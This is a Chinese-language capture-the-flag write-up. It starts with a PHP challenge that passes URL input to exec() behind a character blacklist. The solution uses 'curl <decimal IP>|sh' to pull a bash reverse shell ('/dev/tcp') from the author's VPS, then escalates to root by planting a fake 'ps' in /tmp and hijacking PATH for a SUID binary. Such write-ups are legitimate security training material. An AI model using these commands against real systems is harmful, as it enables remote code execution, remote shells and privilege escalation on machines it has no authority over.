<?php highlight_file(__FILE__); if(isset($_GET['ip'])){ $ip = $_GET['ip']; $_=array('b','d','e','-','q','f','g','i','p','j','+','k','m','n','\<','\>','o','w','x','\~','\:','\^','\@','\&','\'','\%','\"','\*','\(','\)','\!','\=','\.','\[','\]','\}','\{','\_'); $blacklist = array_merge($_); foreach ($blacklist as $blacklisted) { if (strlen($ip) <= 18){ if (preg_match ('/' . $blacklisted . '/im', $ip)) { die('nonono'); }else{ exec($ip); } } else{ die("long"); } } } ?>
因为没有回显,最理想的,也是第一时间想到的就是反弹shell,但过滤了n、w这些敏感字符。
从别的师傅那学来的骚操作,使用curl ip|sh
执行反弹shell命令,因此访问ip回显的必须是反弹shell的命令。
黑名单过滤了“.”,需要把ip转为十进制。这样就占了17字符,所以“访问子文件夹的命令”这种方法不可取。
首先在VPS上新建个文件。文件名为index.html,内容为:bash -c "bash -i >& /dev/tcp/IP地址/8721 0>&1"
因为咱VPS上无中间件,用的python3 -m http.server 80
然后在这台服务器上设置服务端监听,端口要和index.html中的内容保持一致。还需要注意的是尽量不要用海外的VPS,小心被wall。
万事俱备只差东风^^,使用curl
命令去访问ip
,然后跟上“sh
”,即执行ip回显的内容即可:
成功接收到反弹shell:
但是是个低权限的账户,使用find命令,也查看了根目录没有flag的痕迹。考虑提权:
使用uname -a
查看版本信息,没有有价值的发现。继续找正在系统上运行的所有SUID可执行文件:
find / -user root -perm -4000 -print 2>/dev/null
访问love,回显如下:
把它下载下来,然后使用IDA进行分析,发现该文件运行了”ps”文件中的内容。
可以在/tmp目录下,把命令写入ps,然后执行love:
cd /tmp # 进入/tmp目录 echo "/bin/bash" >ps #将payload写入ps文件 chmod 777 ps #赋予权限 export PATH=/tmp:$PATH #设置临时环境变量
flag在/root目录下。
⚪参考:https://blog.csdn.net/Crazy198410/article/details/113102306